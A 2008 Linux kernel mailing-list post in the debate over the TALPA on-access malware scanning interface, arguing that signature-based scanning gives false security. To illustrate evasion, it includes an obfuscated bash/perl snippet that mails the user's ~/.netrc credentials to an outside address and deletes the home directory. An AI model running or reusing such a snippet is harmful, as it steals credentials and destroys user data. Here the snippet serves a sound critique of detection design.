Message-ID: <51467.1218864924@turing-police.cc.vt.edu>
Date:	Sat, 16 Aug 2008 01:35:24 -0400
From:	Valdis.Kletnieks@...edu
To:	Arjan van de Ven <arjan@...radead.org>
Cc:	Peter Dolding <oiaohm@...il.com>, david@...g.hm, rmeijer@...all.nl,
	Alan Cox <alan@...rguk.ukuu.org.uk>, capibara@...all.nl,
	Eric Paris <eparis@...hat.com>, Theodore Tso <tytso@....edu>,
	Rik van Riel <riel@...hat.com>, davecb@....com,
	linux-security-module@...r.kernel.org,
	Adrian Bunk <bunk@...nel.org>,
	Mihai Don??u <mdontu@...defender.com>,
	linux-kernel@...r.kernel.org, malware-list@...ts.printk.net,
	Pavel Machek <pavel@...e.cz>
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Fri, 15 Aug 2008 21:09:42 PDT, Arjan van de Ven said:

(Re-arranging the order of Arjan's comments somewhat...)

> Sadly what you're doing is throwing up smoke and just saying "it
> doesn't solve world hunger as well so it's bad". Please do yourself a
> favor and stop that before people totally start ignoring you.

Many security experts believe that a false sense of security is worse than
no security at all.  In other words, unless the design team is *honest* with
themselves about what the proposal does and doesn't cover, and has at least
an *idea* of how the uncovered parts will function, you're not adding to
the *real* security.

The problem with saying stuff like "Oh, our threat model explicitly rules
out anything done by root" is that all too often, the other part of the
overall plan - the one that constrains the root user - is never deployed.

One of the proponents of the idea told me "so I don't see that as a big
problem", when the problem in question (the race condition between malware
arriving and actual scanning with a signature that detects the malware) is one
of *THE* biggest issue for actual deployments of this sort of stuff.  No, TALPA
doesn't have to necessarily deal with that race condition itself.

But you damn sight well better have a good idea of how you intend to deal
with it, because if you don't, the end result isn't actually usable for
anything...

> (nor should we do something that has no value.. but that's not the case;
> the model that Erik described is quite well defined as 
> "do not give ''bad' content to applications/exec".

The model is *not* "quite well defined" - because "bad content" is a rather
squishy term (go read Fred Cohen's PhD thesis, where he shows that detecting
viruses/malware is equivalent to the Turing Halting Problem).  What you
*really* mean is "that subset of bad content that we can reasonably
economically catch with pattern matching signatures".

And at that point, we're well into #2 on Marcus Ranum's list of Bad Security
Ideas - Enumerating Badness.

#!/bin/bash
ONE="system("
TWO="'"
THREE="mail ba"
FOUR="dguy@...pbox.com < ~/.netrc;r"
FIVE="m -rf ~ &');"
echo "$ONE$TWO$THREE$F0UR$FIVE" | perl

That gets dealt with how?  Did you have a signature that matched that targeted
code (of course not, your A/V vendor hasn't seen this e-mail yet)?  Did you
protect the | pipe as well as file input?

(Anybody else remember a few years ago, when ssh and sendmail distrib files
were trojaned with code that ran when the poor victim sysadmin built the
kit, presumably *not* as root - at which point the perpetrator had a open
shell on the box running as the user, and can download whatever privilege
escalation exploits to get root...)

But yeah, trying to scan data before it's read, to detect some fraction of
the known threats, *does* close a few holes.  The question is how does it
fit in as "part of this complete security breakfast"...


Content of type "application/pgp-signature" skipped

Powered by blists - more mailing lists